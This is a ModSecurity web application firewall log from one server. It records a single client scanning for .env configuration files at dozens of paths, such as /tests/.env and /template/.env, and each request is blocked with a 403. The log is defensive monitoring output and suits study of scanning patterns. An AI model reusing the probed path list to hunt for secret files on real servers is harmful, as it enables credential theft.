[Wed Feb 25 06:05:40.797934 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvgAAAAU&quot;]
[Wed Feb 25 06:05:40.857278 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AgAAAAM&quot;]
[Wed Feb 25 06:05:40.857550 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AgAAAAM&quot;]
[Wed Feb 25 06:05:40.857733 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AgAAAAM&quot;]
[Wed Feb 25 06:05:40.918681 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AwAAAAM&quot;]
[Wed Feb 25 06:05:40.918981 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AwAAAAM&quot;]
[Wed Feb 25 06:05:40.919172 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AwAAAAM&quot;]
[Wed Feb 25 06:05:40.954179 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v10.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BAAAAAM&quot;]
[Wed Feb 25 06:05:40.954455 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BAAAAAM&quot;]
[Wed Feb 25 06:05:40.954624 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BAAAAAM&quot;]
[Wed Feb 25 06:05:40.979324 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BQAAAAM&quot;]
[Wed Feb 25 06:05:40.980632 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BQAAAAM&quot;]
[Wed Feb 25 06:05:40.980846 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6BQAAAAM&quot;]
[Wed Feb 25 06:05:40.981883 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDwAAAAAU&quot;]
[Wed Feb 25 06:05:40.982136 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDwAAAAAU&quot;]
[Wed Feb 25 06:05:40.982306 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temp/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDwAAAAAU&quot;]
[Wed Feb 25 06:05:41.002686 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v12.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BgAAAAM&quot;]
[Wed Feb 25 06:05:41.002930 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BgAAAAM&quot;]
[Wed Feb 25 06:05:41.003120 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BgAAAAM&quot;]
[Wed Feb 25 06:05:41.007048 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwQAAAAU&quot;]
[Wed Feb 25 06:05:41.007272 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwQAAAAU&quot;]
[Wed Feb 25 06:05:41.007429 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwQAAAAU&quot;]
[Wed Feb 25 06:05:41.032642 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v13.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BwAAAAM&quot;]
[Wed Feb 25 06:05:41.032896 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BwAAAAM&quot;]
[Wed Feb 25 06:05:41.033052 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6BwAAAAM&quot;]
[Wed Feb 25 06:05:41.047203 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /templates/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwgAAAAU&quot;]
[Wed Feb 25 06:05:41.047431 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwgAAAAU&quot;]
[Wed Feb 25 06:05:41.047593 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDwgAAAAU&quot;]
[Wed Feb 25 06:05:41.070967 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v7.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CAAAAAM&quot;]
[Wed Feb 25 06:05:41.071220 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CAAAAAM&quot;]
[Wed Feb 25 06:05:41.071383 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CAAAAAM&quot;]
[Wed Feb 25 06:05:41.176774 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxQAAAAU&quot;]
[Wed Feb 25 06:05:41.177061 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxQAAAAU&quot;]
